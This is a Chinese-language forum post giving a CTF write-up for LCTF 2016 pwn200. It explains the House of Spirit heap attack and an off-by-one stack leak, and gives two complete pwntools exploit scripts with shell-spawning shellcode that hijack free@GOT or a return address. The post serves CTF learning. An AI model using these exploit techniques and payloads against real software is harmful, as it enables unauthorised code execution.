首页
社区
课程
招聘
[原创]LCTF 2016 PWN200(House Of Spirit)
发表于: 2018-3-24 21:19 9490

[原创]LCTF 2016 PWN200(House Of Spirit)

2018-3-24 21:19
9490

L-CTF 2016 pwn200

漏洞简介

The house of Spirit

The House of Spirit is a little different from other attacks in the sense that it involves an attacker overwriting an existing pointer before it is 'freed'. The attacker creates a 'fake chunk', which can reside anywhere in the memory (heap, stack, etc.) and overwrites the pointer to point to it. The chunk has to be crafted in such a manner so as to pass all the security tests. This is not difficult and only involves setting the size and next chunk's size. When the fake chunk is freed, it is inserted in an appropriate binlist (preferably a fastbin). A future malloc call for this size will return the attacker's fake chunk. The end result is similar to 'forging chunks attack' described earlier.

 

The House Of Spirit

程序运行

1.初始内容

who are u?
Bill
Bill, welcome to xdctf
give me your id ~~?
001
give me money~
10000

2.主要内容

=======EASY HOTEL========
1. check in
2. check out
3. goodbye

check in: malloc
check out: free
good bye: exit

程序分析

1. checksec

 

result02

 

2. 漏洞一 (off by one)

 

result01

当输入48个字符时, 会触发off by one漏洞, 将0x400A8E函数栈帧RBP打印出来.

 

2. 漏洞二 (变量覆盖)
result02

漏洞利用(两种思路)

1.思路(非HOS): 初始时输入shellcode, 泄露RBP,找出Shellcode地址. 覆盖dest变量值为free@got, buf中为shellcode_addr + 其他任意字符, 最后:输入2, 执行free(就是执行我们的shellcode).

#coding = utf8
from pwn import *
context(log_level="debug")

p = process('./pwn200')
elf = ELF('./pwn200')
free_got = elf.got["free"]

gdb.attach(p)
p.recvuntil('u?\n')

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.send(shellcode+"a"*(48-len(shellcode)))

ebp = u64(p.recvuntil(' me your id ~~?\n')[48:48+6].ljust(8,'\x00')) # leak stack address
print "ebp = "+hex(ebp)
offset = 0x00007fff401d62e0 - 0x00007fff401d6290
shellcode_addr = ebp - offset
print "shellcode_addr = " + hex(shellcode_addr)
p.sendline('0') #id

p.recvuntil('\n')

payload = p64(shellcode_addr)
p.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))  #the juck data must be '\x00' in the got!
p.recvuntil('choice :')
p.sendline('2')
p.interactive()

2.思路(HOS): 修改0x400A29函数的返回值地址为shellcode地址, 退出即可.
leak address

payload  = ''
payload += shellcode.ljust(48)
p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)

rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))
shellcode_addr = rbp_addr - 0x50 # 20H + 30H
print "shellcode_addr: ", hex(shellcode_addr)
fake_addr = rbp_addr - 0x90 # 修改函数返回值地址用

free(fake_addr)

data = p64(0)*4 + p64(0) + p64(0x41) # p64(0)*4, strcpy不会复制任何字符到fake_addr
data = data.ljust(56, '\x00') + p64(fake_addr)
print data
p.send(data)

p.recvuntil('choice : ')
p.sendline('2')     # free(fake_addr)

malloc

p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('long?')
p.sendline('48')    # 48 + 16 = 64 = 0x40, 大小要和fastbin中的大小一致, 这样才会返回我们的fake_addr
p.recvline('48')    # ptr = malloc(48)

data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addr
data = data.ljust(48, '\x00')

Quit

p.recvuntil('choice')
p.sendline('3')

p.interactive()

The Whole EXP

from pwn import *

context.log_level = 'debug'
# p = remote('127.0.0.1', 7777)
p = process('./pwn200')

free_got = 0x0000000000602018

shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')

gdb.attach(p)
#part one
payload  = ''
payload += shellcode.ljust(48)

p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)

rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))

shellcode_addr = rbp_addr - 0x50 # 20H + 30H
print "shellcode_addr: ", hex(shellcode_addr)
fake_addr = rbp_addr - 0x90 # offset 0x40 to shellcode, 0x400a29 return address


p.recvuntil('give me your id ~~?\n')
p.sendline('32') # id
p.recvuntil('give me money~\n')


#part two
#32bytes padding + prev_size + size + padding + fake_addr
data = p64(0) * 4 + p64(0) + p64(0x41)        # no strcpy
data = data.ljust(56, '\x00') + p64(fake_addr)
print data
p.send(data)

p.recvuntil('choice : ')
p.sendline('2')     # free(fake_addr)

p.recvuntil('choice : ')
p.sendline('1')     #malloc(fake_addr) #fake_addr

p.recvuntil('long?')
p.sendline('48')    # 48 + 16 = 64 = 0x40
p.recvline('48')    # ptr = malloc(48)

data = 'a' * 0x18 + p64(shellcode_addr) # write to target_addr
data = data.ljust(48, '\x00')

p.send(data)

p.recvuntil('choice')
p.sendline('3')

p.interactive()

Related Link

堆之House of Spirit (EXP不行)


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-3-24 21:38 被baolongshou编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 11
活跃值: (96)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
为什么最后代码第49行,会有0x18个padding,奇怪!!!!!
2019-11-29 17:19
0
游客
登录 | 注册 方可回帖
返回
//